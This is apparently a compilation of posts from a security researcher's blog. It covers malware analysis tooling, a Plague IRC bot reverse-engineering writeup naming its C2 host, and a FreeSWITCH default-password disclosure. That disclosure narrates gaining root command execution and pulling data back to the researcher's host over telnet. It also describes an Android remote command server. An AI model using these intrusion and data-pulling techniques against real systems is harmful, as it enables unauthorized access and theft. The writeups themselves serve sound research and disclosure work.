[Web Sites]
https://blog.mandiant.com/ — Mandiant
http://www.cyberwart.com/blog/ — Matt Wollenweber
http://www.gnucitizen.org/categories/blog/ — Dont know this guy, but interesting stuff no less
http://www.openrce.org/articles/ — OpenRCE (Reversing)
http://blog.rapid7.com/ — Rapid7
http://dontstuffbeansupyournose.com/ — S7ephen and Lawler
http://carnal0wnage.attackresearch.com/ — attackresearch.com
http://www.offensivecomputing.net/ — Malware, Malware, Malware, and very good posts supporting analysis
http://ha.ckers.org/ — RSnake, CEO of SecTheory (Web Security)
http://jeremiahgrossman.blogspot.com/, — Jerimiah Grossman, CEO of White Hat (Web Security)
http://blog.zynamics.com/ — Zynamics, Reverse Engineering and Malware Profiling
http://intrepidusgroup.com/insight/ — Intrepidus, Mobile Security
http://threatpost.com/en_us/blog-list — Collection of Security News and Posts
http://phed.org/ — Mike Eddington, Creator of Peach Fuzz
http://dvlabs.tippingpoint.com/blog/ — Tipping Point DVL and ZDI, good reversing posts
http://codypierce.com/ — Previously at TP
http://www.avertlabs.com/research/blog/ — McAfee
https://mattoh.wordpress.com/ — Matt Oh Creator of Darun Grim
http://trailofbits.com/ — Dino Dai Zovi, Mac Hacker
http://www.phreedom.org/ — Alex Sotirov, One of the Guys who helped break SSL
http://strydehax.blogspot.com/ — Stryde Hax, Good demonstration of security skills to benefit society
http://www.honeynet.org/ — Honeynet Research Alliance
http://www.praetorian.com/blog/ — Praetorian
http://sunbeltblog.blogspot.com/ — SunBelt Software
http://fishbowl.pastiche.org/ — Charlie Miller, the Guy who hacked the IPhone, a few times
http://schmoil.blogspot.com/ — Another Guy who has helped beat down SSL CA’s
http://contagiodump.blogspot.com/ — Mila, Cool place to get custom, under the radar malware
http://research.pandasecurity.com/ — Another cool place to see malware torn apart
http://www.inreverse.net/ — Yet a better place to see the malware torn apart

[Mailinglist]
DailyDave Mailing List — Dave Aitel’s Daily Dave (Sometimes interesting things get debated here, sometimes interesting ppl get insulted…fun to watch.)

[Twitter]
Twitter is also a good place to see whats going on.

Yeah, well, I do. I decided to install Ether so here are some quick notes to myself.

Getting ramped up with Ether.

Step 1 ) Install Debian Lenny.
Step 2 ) Update /etc/apt/sources
Step 3 ) add self to sudoers, sudo apt-get install gcc g++ make vim emacs linux-headers-2.6-amd64-all screen openssh-server linux-image-2.6.26-2-xen-amd64 wget gcc-4.1
Step 4 ) wget http://www.offensivecomputing.net/ether/ether-0.1.deb # thank you Offensive Computing guys, huge life saver
Step 5 ) dpkg -i ether-0.1.deb
Step 6 ) Enter Bios, turn on VT # blast you joanna and your pills
Step 7 ) Reboot, make sure grub, menu.lst set itself up right
Step 8 ) Installing Nvidia drivers for Xen: export IGNORE_XEN_PRESENCE=1 # now run install package, http://www.nvnews.net/vbulletin/showthread.php?p=1710997
Step 9 ) Be proud, thy coud be nursingg an ulcer due to 2 weeks of work stacked with a lightning strike induced service failure.
Step 10) start working on the real work.

Additionally, I found a bug in the business logic of the “free wireless” registration process. Basically, a user can register with spoofed email and info, and the application will give the user 10 minutes to complete registration by going to their email and confirming the account. Well, there is an option that resends the email, and consequently resets the timer, giving the user 10 more minutes to check their email. This means the application does not track the number of resends, nor does it prevent an infinite number of resends. Thus, with ten lines of Python, the user won’t ever have to register while they are using the “free wireless” (-:

Anyway, for those interested, here are the slides.

Rapid Prototyping Tools

Research is a slippery slope and it is hard to quantify a rate of return. This goes for any type of research in any industry. The idea is that to be novel, you must invest time and effort, so identifying as many shortcuts as possible is a valuable skill. For instance, if I want to implement a DNS scanner, I don’t want to rewrite the entire DNS protocol, nor do I want write the network code, threading, etc. I want to leverage existing sources and frameworks for those elements. Additionally, programming languages should be seriously considered. In this case, I am looking at C++, however, higher level programming languages such Python or Ruby could serve most beneficial in a very rapid PoC environment. This post will detail some of the preliminary decisions that a researcher may encounter and then give an overview into how to work through various vague compilation and linker errors, showing the time savings from short cuts.

First, what I generally do determine which language will be most convenient. Higher level languages are very easy to prototype in, and there are a number of libraries, modules, and frameworks. However, the level of control and platform speed will dictate whether these languages can be used. For example if I am looking for functionality versus performance, I would use Python over C/C++, and this decision may even be tied to the available resources such as source code.

In this case I chose C++, because I want to achieve performance gains, so now I need to track down sources or projects. After a quick search for DNS projects, Bind appeared to dominate a majority of the results. So, I decided to start by reviewing the Bind projects capabilities. After I downloaded the latest branch, I reviewed the code looked at what I knew would be important to me. As it turns out the code base was fairly complete, however, the branch was not made to compile in Visual Studio, yet.

This is one of those forks in the road. Do I stick with what I have, derive something, or build something from scratch? This question should always be first and foremost in your mind, and with experience it gets easier to answer. There are a number of complexities that may arise ranging from programming language eccentrities, platform capabilities, functional needs, development time, along with a myriad of other variables, and with each project, the experience and knowledge accumulates, which allows someone to follow that path of least resistance to meet the next milestone.

Before I continue on, I want to stress why I chose the Bind 10 development branch. Ready, it was the path of least resistance. If you review development and compilation docs for Bind 9, it requires alot of dependencies which means lots more effort. Bind 10 requires Boost Libraries for cpp, which is relatively easy to download and install, or at the very least compile. Note: If you are using Visual Studio 2010 Beta, you need to compile from source, and this is actually very easy if you follow the instructions on the tutorial. Once I found Bind 10, I developed a sort of tunnel vision, so I did not seek out any other candidate projects, and in this process, time is precious and a resource you can not waste.

Continuing on to the next battle in rapid tool smithing. The desired functionality was in the DNS and Exception source directories, so I copied the libs directory, added the required VS filters, and then the source files in those filters. Now, I write my main file, include the message.h, compile, and fail.

The first reason I failed was because there are some missing source code files that needed to be generated from a script and inclusions for “config.h” which is an artifact of the auto configuration process. To address the missing source files, I used intuition. I am not quite sure how, but I ended up looking at one file in particular, “gen-rdatacode.py”. Basically, I peeked at the file, renamed it to a python script, tried to run it, and failed again. No problem, I read over the file and realized it was relying on the auto configuration process, so I just went through and updated all auto generation tags (e.g. “@src@” with “.\”). Then I ran the script, encountered some minor fails, but persisted and got the “real” missing source files generated. I also commented out all the ‘#include “config.h”‘ requirements in other source files, followed by updating the project’s source files.

Ok, time to compile again, now I found some inconsistencies in the inet_pton and the inet_ntop, which are declared in *nix headers, which are not present on Windows (without cygwin). So, I just added the WinTcpIp.h include and added some preprocessor logic, to jump over the *nix includes. I also got errors that the inet_ntop and inet_pton are not defined, which was an indicator that I needed to turn off the Unicode compilation for the project, after which I attempted another compile. Note that inet_ntop and inet_pton are part of the ANSI specification, thus if Unicode is enabled, the two functions are not defined.

After this I compiled and got one of the most obscure errors ever:
cannot convert from 'std::_Tree_const_iterator<_Mytree>' to 'std::_Tree_const_iterator<_Mytree>' c:\code\fiercplusplus\fiercplusplus\src\lib\dns\messagerenderer.cc 262

Then I looked at the issue much more closely:
1> while trying to match the argument list '(std::_Tree_const_iterator<_Mytree>, std::_Tree_const_iterator<_Mytree>)'
1> with
1> [
1> _Mytree=std::_Tree_val<std::_Tset_traits<isc::dns::`anonymous-namespace'::NameCompressNode,isc::dns::`anonymous-namespace'::NameCompare,std::allocator<isc::dns::`anonymous-namespace'::NameCompressNode>,false>>
1> ]
1> and
1> [
1> _Mytree=std::_Tree_val<std::_Tset_traits<isc::dns::`anonymous-namespace'::NameCompressNode,std::less<isc::dns::`anonymous-namespace'::NameCompressNode>,std::allocator<isc::dns::`anonymous-namespace'::NameCompressNode>,false>>
1> ]

Someone with a sharp eye will notice that the top description includes “std::less<isc::dns::`anonymous-namespace’” and the bottom type description does not look like the top one. As it turns out, the default template declaration uses the std::less<T> to make the comparison, rather than the struct NameCompare which what should be used to make the comparison, thus the ambiguity of ‘std::_Tree_const_iterator<_Mytree>’ to ‘std::_Tree_const_iterator<_Mytree>’ melts away. The error is simply fixed by changing the definition/declaration in the following manner:
from: std::set<NameCompressNode>::const_iterator notfound = impl_->nodeset_.end();
to: std::set<NameCompressNode, NameCompare>::const_iterator notfound = impl_->nodeset_.end();

This issue alone took me about 1-2 hours to resolve. Googling was less than helpful, and this is the reason the resolution took so long. Contrary to popular belief Topeka, does not have all the answers. So, stepping back from the problem is sometimes the best way to step closer to the problem.

Much closer to compiling now. Now we are getting linker errors, which means we are very close. The errors I encountered are linker ones, where symbols cannot be identified. The issue was initially perplexing, because the code is part of the project sources and not an external lib. So, I go back and review yet another vague linker warning, “warning LNK4042: object specified more than once; extras ignored Debug\objs\exceptions.obj”. The warning is very explicit and tells me what happened, meaning two files will compile to the same object filename. What does not make sense, the filename collision (e.g. exceptions.cc) happens with two files in different directories. The warning and MSDN description does not give me no direction about how to resolve this issue. I actually used a life line, and asked a friend, who helped me identify the solution. Essentially, I had to update the intermediate output directory for the source files. The solution was found on stack overflow, and my Topekaing skills did not come up with any results that detailed this process. Special Thanks to Rudolph Araujo for helping out on that one.

After working through all that in about 5-6 hours, there is an immediate realization of time savings versus if I had had been ambitious and tried to develop and test my own stuff from scratch.

As I mentioned in my initial post, this scenario was blackbox, meaning zero knowledge of the device and configuration.  My approach here is simple.  First, I plug the device in to the network, and then perform nmap to identify any interesting ports or communication channels.  When Nmap completed the port scan, I noted standard ports 80 (http) and 53 (DNS), but then I noticed some other ports such as 8021.  I actually chose to dig deeper into the purpose of 8021, which meant I needed to probe it with a socket.

Generally, connecting to and probing sockets can be done with tools such as netcat or socat, I usually opt to use IPython, a nice Python Command Interface and use a basic socket.  In this case, I basically connected to the port and received whatever data was sent.  In this case, I received an interesting message, seen below in the image.

Using IPython to connect to port 8021 and identify the service.

My initial assertion was that this was a strange HTTP header, but given the vague context, I turned to Google.   I used the following search query “port 8021 Content-type auth/request”, which in turn gives FreeSWITCH.  After a few minutes of quickly reviewing the results and documentation, I found that FreeSWITCH has a default password, ClueCon and a command interface.

From here, I downloaded the source, compiled a sample client, and then I connected to FreeSWITCH.  Generally, I enjoy adventure and discovery, so rather than read the documentation to see that there was a system command in the interface, I stumbled on to it.  Whenever I am presented with a command interface, I like to play around with the commands and look at the help I am presented with either from error messages or from help menus.

Once I found the system command, my initial reaction was to perform commands such as whoami, ps, pwd, cd, etc., but when I executed the command with the aforementioned commands as arguments, I received no result.  Filled with a little frustration, I decided to try ping against my host and that frustration melted away and turned into school girl giddiness (yay!).

OS ping command is executing via FreeSWITCH. Note the ARP for 172.*.*.2

My next thought from here was if I can ping, can I telnet?  Yes, yes, I can.  After this finding, it only took me a few minutes to figure out how to redirect stderr and stdout to a listening port on my host.

Piping OS command output and errors through telnet to my host.

At this point, I simply opened a port open on my machine, and telnet’ed command results back to host.  Once I had command access on the device, the first check was to identify my privileges, which turned out to be root.

After this moment, the game changed significantly.  First, the client I had to use was great, but it was not an attacker’s client.  So rather than playing fairly, I created my own rules and in the process my own client.  I basically wrote a command shell that wrapped FreeSWITCH command with telnet and echo to execute, write, or read the files from the remote host.  Game on.

After I finished my basic client, I went through and enumerated file mounts, directory structures, and executables on the system.  My next step was to look at binaries and see what they could offer in the form of intelligence and stuff like that, but there were no tools on the host to perform these tasks, and a knowledgeable person would observe that telnet and echo are not ideal for moving binary files back and forth across the network, so I surveyed the host for any viable interpreters and shell functionality.  I tried several shell ninja hacks, but no progress was made.

Then I found a LUA interpreter, and the game got more fun.  In order to support binary file transfers, I simply converted the binary file to ACII hex strings, and then I could transfer the binaries using my established methods.  Again, I augmented my attacker’s shell.  Game on.

While I was on the device, I also identified several block devices of interested that I wanted to pull data from.  To access these data points, I used dd if=<device> of=/dev/null bs=1 to get the devices size.  Then performed dd into a writeable temporary file, hexlified the data, and sent it across the network.  I repeated this process until I reached the size of the file.  Game Over!

Below is an image of my FreeSWITCH attacker client.  Its hacker quality code, so mileage will vary.  Also below are a few of the LUA scripts that I used to facilitate the file transfer and hexlification process.

Attack client developed to facilitate the 0wning of the FreeSWITCH installation.

Show me some codez:

FreeSWITCH Command interface:  cmd_interface.py

Hexlified Image Capture Server:  mini_image_cap_server.py

(Un)Hexlify LUA Script:  hexlify.lua

DD to Hexlify to Echo to Telnet Madness: dd_remote.lua

First of all, default passwords among elements are often common place in the open source world. This post is focused on showing why these defaults can be bad. The thesis is simple:

• Developers: Always make the user change the password after installation.
• Administrators and users: Always change the default password if the service offers authentication of some type

Now lets examine the issue that was discovered. Take a look at the following image captured from a configuration and source code file of the 1.04 branch of FreeSWITCH. Try to understand what the code is doing based on the limited context you are presented.

Service defaults for mod_event_socket found in the config (top) and source (bottom) files.

Do you See What I See?
After examining these excerpts, the reader should be able to discern 2 things. First, by default the password is ClueCon and listens on the 127.0.0.1 as shown in the configuration file. The other observation that should be noted is the default password and default listening IP address are hardcoded. This fact can be insinuated, because if the result of switch_strlen_zero is TRUE then these default values are used instead, respectively. This means that if configuration file is missing the required element, it will be replaced by the default. In a way, this means the module will always be listening, rather than failing. Unless the administrator is aware of these security implications, they are not likely to give these issues a second glance, hence my posts.

Why is this bad?
The default password in every configuration will be ClueCon unless it is changed. If the password is not set, then it is still going to be ClueCon.

But wait doesn’t this run on 127.0.0.1, which is not even accessible from the Internet?
Yes, that is correct, but this fact can lead to a false sense of security, which leads to the next issue at hand.

Apart from the default credentials, there is a command module (mod_commands) that provides a command interface to FreeSWITCH that is also enabled by default. This command interface provides ways to manage calls, service settings, and the best part, execute OS commands. So, if a local or network user knows the password, they can access the interface and execute commands as the FreeSWITCH service user, which could be bad.

How bad?
If FreeSWITCH is running as root, then a local user can run OS commands as root which will escalate into something much worse, like this for example. In the next post, I will discuss the details of how I leveraged this issue to get root command access. (hehe.)

Ok “Mr. Rock’in Rick Roller”, what do you recommend for a mitigation or some kind of remediation?
There are several ways of reducing the likelihood of the issue. The easiest method is to change the password in the configuration file. When an administrator sets the password, they should not use any passwords that are used on any other systems, because the password is sent to the remote service in the clear and unencrypted. If the module is not needed, simply disable it by commenting out or removing the mod_event_socket from the modules.xml in the FreeSWITCH conf directory. Another course of action is to disable mod_commands if they are not needed. Unfortunately, I have not had time to sit down and identify the most reasonable security settings for FreeSWITCH, but these seem like the most feasible at the moment

For long-term mitigation, I would suggest removing default credentials from the configuration file, and causing the application to fail closed when credentials and password are not set in the configuration. Additionally, an error message should be printed to the log or console informing the service administrator of the issue. This behavior would have more secure side effects than simply setting the hardcoded credentials.

What is justification for releasing this in the public and why did you not contact the developer?
Yeah, I am sure one way or another this will come up one way or another in my future. I notified the developer, but the conclusion of that communication was this issue is the responsibility of the user or administrator. They felt there were adequate protections in place to prevent the problem.

This blog post and the next will serve as an education tool for those administrators or users who may not be aware of the potential ease of misconfiguring their installations of FreeSWITCH. Additionally, this work was free, so I am donating my effort to the open source community as a means of understanding the security implications brought on by a lack of prevention (e.g. secure-by-default) and bad default configuration practices. Remember security is only as strong as the weakest link.

12 years ago today, I signed up for the Army as an infantry soldier. While my time in service was very brief, the moments and experience will last a life time. It is probably one of the single most important decisions in my life.

A special thanks goes out to all those who have served, are serving, are committed to serve, and those who have given their lives. Most importantly, I would like to say THANK YOU to all those who support service members and have had to endure the loss of a friend, family member, and loved one.

gr33tz.

~dsoftware

I have been expanding my view of the world, and I decided to play with some ARM ELF binaries, but I ran into a problem with relocations, symbols, and the corresponding function strings being properly matched in IDA Pro.  Below is a method I used on 2 binaries (yes, testing is a hardcore part of my diet) in order to get the function name relocated and named correctly on the PLT entries and the corresponding functions.

In order to address this problem, I had to do several things:

1. Import the ELF definitions into IDA Pro
2. Read ELF standard and ARM ELF Format
3. Parse the ARM ELF and Identify the Dynamic Section from the Program Header
4. Identify the String Table, the Symbol Table, the Program Linkage Table, and Relocations
5. Merge the Symbol Table Data and Relocation Address Information
6. Name each corresponding sub routine name with the value in the

I actually worked on 1 and 2 for some time.  In order for me to grasp all the indirection, I used IDA Pro to create the various sections, and I would just jump around to the values being referenced or cross referenced.  It was not the most optimal method, but when it all clicked, it only took me a few hours to put together the Python Script.

Below are the first steps.  First edit the elf.h from any *nix system.  Some commenting may be required, because IDA may complain about missing header files or types with the same names.  Thy must sweat and grunt alittle to get some respect. This is left a character building exercise for the reader.  Next, open the “Local Types” subview,  select all the types, right click, and “Synchronize to idb”.

Importing ELF C-Header into IDA Pro

Synchronize the Local Types with IDB

Run the script, and it prompts you for the starting address of the file.  I recommend you scroll all the way up to the top of the file, put the cursor on the very first address, and just enter ScreenEA(). But to each his or her own.

Now for the functionality of the script.  The biggest challenge was wrapping ye old mind around the relocations and seeing how the names were magically resolved.  Once I realized this third dimension of reference, everything came together like a Vulcan Mind Meld….and I was one with the binary.

The script works by creating the ELF Ehdr at the beginning of the file, and then reads the Dwords of the offset to the corresponding Phdrs.  From there, I jump to the Phdr address and create the Phdr structures.  If the Phdr structure is PT_DYNAMIC, I note the section size jump to that section and create all the Dyn structures until I reach end of memory.  After I create all the Dyn stuctures, I jump to the DT_STRTAB use MakeStr on all the strings up to the DT_STRSZ.  After this, I jump back to the PT_DYNAMIC section and then process the symbol table, DT_SYMTAB converting all the relocations and the symbol table simultaneously.  The relocations include the DT_REL and DT_JMPREL respectively and they have a corresponding size, DT_RELSZ and DT_PLTRELSZ.  I also find the DT_SYMTAB and the DT_STRTAB values and then process the relocations.

DYNAMIC Segment with processed Dyn structures

The relocations are processed in the following manner.  First I create the relocation structures up to the  DT_PLTRELSZ or DT_RELSZ bytes.  Then I walk through the relocations structures and read its symbol table index.  I create a Sym structure at that location, and then get the symbols name (st_name) index into the string table.  From here I just rename the symbol, the relocation, and the actual function that corresponds to the function call that will jump to the relocation.  Below is an image depicting my final result and below that is a link to the code.

Imports named (left) and function names (far-right)

IDA Pro code for processing the ARM Elf Binary: ida_pro_process_elf_hdrs.py
IDA Pro code for processing the Elf Relocs Section: ida_pro_process_reloc.py
IDA Pro code for processing the Elf Sym Section: ida_pro_process_reloc.py

For those interested information on the ELF Specification: Wikipedia

Image shows imports for VB Virtual Machine.

Extracting the binary was accomplished by placing a breakpoint on the CreateProcess and waiting for the process to call itself. I attempted to dump the binary after it was executing, using the instructions here. This failed to give me a usable binary, which was my initial goal, so I looked at the resulting Plague bots system image while it was executing, and I found a number of interesting strings that are shown below.

During the extraction process, I was initially going to trace the VB 6.0 code until CreateProcess was called, but after I found these strings, I decided to step it up and write a BPHook for Immunity Debugger. The hook works by placing BPs on user requested addresses or Module Functions, and when the BP is hit a user provided string is searched in the current processes memory. If the string is found, then the code will try to find the executable’s header and dump the image to disk, before it is executed. In this particular case, I do not calculate the images size, and I just look for a tail value at the end of the allocated memory after the binary. If I ever have to do this again, I will figure out how to calculate the image’s size. Before I automated this process, I was dumping the image as shown below, using the Python Interpreter shell in the debugger.

Dumping Malware Executable from Memory with Immunity Debugger

Analysis of the bot at this point static analysis was employed using IDA Pro; some dynamic analysis was used to get a clear picture of the memory and data. When the binary runs, the first action performed is check for common malware analysis tools, and the checks appeared to FAIL in some cases. The bit basically checks Window Titles to see if a tool is working. For example, I was running SysInternals Process Explorer, and the check still passed and the program continued executing. In any case, I merely converted all the strings to ‘A\x00’ using the debuggers Python shell, with the following snippet:

f = imm.writeMemory(0x40c1b8, ‘A\x00′*0×504)

IDA Pro Showing Plague's Attempt to Look For Analyst's Tools

After passing all the “security” checks, the bot looks to see if it is installed in the windows directory as svchost.exe. If not, then the executable copies itself into %windir%\svchos.exe and create an autorun registry key. If the executable is present in the directory, the bot will proceed to initialize the IRC server and call out to vteamunix.info, which resolves too 174.133.63.91.

While the string did not present any real protection measures, it did employ encoded strings. To counter this obfuscation, I just looked over the code used to encode the strings. The code basically used a string of 37 characters, and XOR’ed each against the encoded character in the obfuscated in the string. I wrote an IDA script that decoded each string, renamed, and then added a comment to the IDA reference.

For good measure, I have also included what the strings looked like in IDA Pro after the decoding process.

Decoded Strings from Plague Bot in IDA Pro

At this point, I dug a little further and identified the code responsible for the MSN spreading and USB infection process. The USB infector functionality was very easy to reverse. First I found the USB infector function, which is actually started in a thread called when the binary starts. The function was identified by using the encoded string reference. Additionally, Matt and I noticed the infector makes no distinction about whether a drive is a USB, Network, or any other drive. Thus, by some accident they manage to successfully infect drives other drives with the bot. The observed function does the following things:

After looking at the USB infector, I turned my attention to the MSN functionality. At this point, I felt dynamic analysis would be more beneficial to my cause, but I was unable to figure out how to call the necessary function with the right variable types and values. At this point I turned to Google and found code for an MSN Spread here, which closely matches the plague bot. In summary, below are some of the commands we enumerated in the binary. The list may not be complete due to time constraints, but it is representative of the bot’s other capabilities.

Associating a face to the name was the most fruitful experience in this analysis. Since Google yielded great results for the MSN Spreader, I decided to search for “Plague Bot” and found a number of posts dating back to September in the HackForums.net. Most notably, the author, tuSnipa boasted about features in the bot. Below is an capture of his post in the forum.

Snipa Selling the Plague Bot on HackForum.net

Additionally, he claims to run the IRC servers and distribute binaries for each binary. Below is a screen capture from Wireshark, and it shows the network traffic between the client and the IRC server. Note the Snipa.gov MOTD.

Bot joing the IRC channel "Seeing Nothing" at snipa.gov

Overall this was a fun piece of malware to reverse especially to get back into the swing of things. I wrote several scripts for IDA and Immunity Debugger:

• ida_pro_runtime_imports.py – basic renaming script to rename some runtime function imports in the binary
• ida_pro_remove_all_names_in_function.py – basic script/command to remove all the names on “DataXrefsFrom” in the function
• ida_pro_decode_strings.py – script to decode, name, and add comments regarding the strings
• bp_dump_image.py – Immunity Debugger script to dump an executable image with a special string.

The server itself will receive commands such as put, get, exec, and a few undocumented ones. Below are some of the commands:

1. “put /path/filename b64_data_string” will put a file on the remote android phone (untested)
2. “get /path/filename” will get a file on the remote android phone
3. “exec ” will execute a command on the remote android phone

The results of the commands all come in the form of:

1. <SUCCESS,size_result:int,b64_result:string>
2. <FAIL,size_result:int,b64_result:string>

Here is a link to the project for those interested: http://code.google.com/p/aremoteserver/